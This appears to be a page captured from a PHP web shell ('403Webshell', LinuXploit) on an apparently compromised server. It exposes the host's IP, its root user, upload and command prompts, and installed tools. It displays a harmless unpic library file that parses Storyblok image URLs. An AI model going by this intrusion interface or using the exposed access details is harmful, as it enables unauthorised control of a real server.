403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.28
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/unpic/script/src/providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/unpic/script/src/providers/storyblok.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.transform = exports.generate = exports.extract = void 0;
const utils_js_1 = require("../utils.js");
const storyBlokAssets = /(?<id>\/f\/\d+\/\d+x\d+\/\w+\/[^\/]+)\/?(?<modifiers>m\/?(?<crop>\d+x\d+:\d+x\d+)?\/?(?<resize>(?<flipx>\-)?(?<width>\d+)x(?<flipy>\-)?(?<height>\d+))?\/?(filters\:(?<filters>[^\/]+))?)?$/;
const storyBlokImg2 = /^(?<modifiers>\/(?<crop>\d+x\d+:\d+x\d+)?\/?(?<resize>(?<flipx>\-)?(?<width>\d+)x(?<flipy>\-)?(?<height>\d+))?\/?(filters\:(?<filters>[^\/]+))?\/?)?(?<id>\/f\/.+)$/;
// This regex selects every colon(:) that is not inside parentheses. So that focal(150x150:250x250) is not split into two filters.
const filterSplitterRegex = /:(?![^(]*\))/;
const splitFilters = (filters) => {
    if (!filters) {
        return {};
    }
    return Object.fromEntries(filters.split(filterSplitterRegex).map((filter) => {
        if (!filter)
            return [];
        const [key, value] = filter.split("(");
        return [key, value.replace(")", "")];
    }));
};
const generateFilters = (filters) => {
    if (!filters) {
        return undefined;
    }
    const filterItems = Object.entries(filters).map(([key, value]) => `${key}(${value ?? ""})`);
    if (filterItems.length === 0) {
        return undefined;
    }
    return `filters:${filterItems.join(":")}`;
};
const extract = (url) => {
    const parsedUrl = (0, utils_js_1.toUrl)(url);
    const regex = parsedUrl.hostname === "img2.storyblok.com"
        ? storyBlokImg2
        : storyBlokAssets;
    const matches = regex.exec(parsedUrl.pathname);
    if (!matches || !matches.groups) {
        return null;
    }
    const { id, crop, width, height, filters, flipx, flipy } = matches.groups;
    const { format, ...filterMap } = splitFilters(filters ?? "");
    // We update old img2.storyblok.com URLs to use the new syntax and domain
    if (parsedUrl.hostname === "img2.storyblok.com") {
        parsedUrl.hostname = "a.storyblok.com";
    }
    const operations = Object.fromEntries([
        ["width", Number(width) || undefined],
        ["height", Number(height) || undefined],
        ["format", format],
        ["crop", crop],
        ["filters", filterMap],
        ["flipx", flipx],
        ["flipy", flipy],
    ].filter(([_, value]) => value !== undefined));
    return {
        src: `${parsedUrl.origin}${id}`,
        operations,
    };
};
exports.extract = extract;
const generate = (src, operations) => {
    const url = (0, utils_js_1.toUrl)(src);
    const { width = 0, height = 0, format, crop, filters = {}, flipx = "", flipy = "", } = operations;
    const size = `${flipx}${width}x${flipy}${height}`;
    if (format) {
        filters.format = format;
    }
    const parts = [
        url.pathname,
        "m",
        crop,
        size,
        generateFilters(filters),
    ].filter(Boolean);
    url.pathname = parts.join("/");
    return (0, utils_js_1.toCanonicalUrlString)(url);
};
exports.generate = generate;
exports.transform = (0, utils_js_1.createExtractAndGenerate)(exports.extract, exports.generate);

Youez - 2016 - github.com/yon3zu
LinuXploit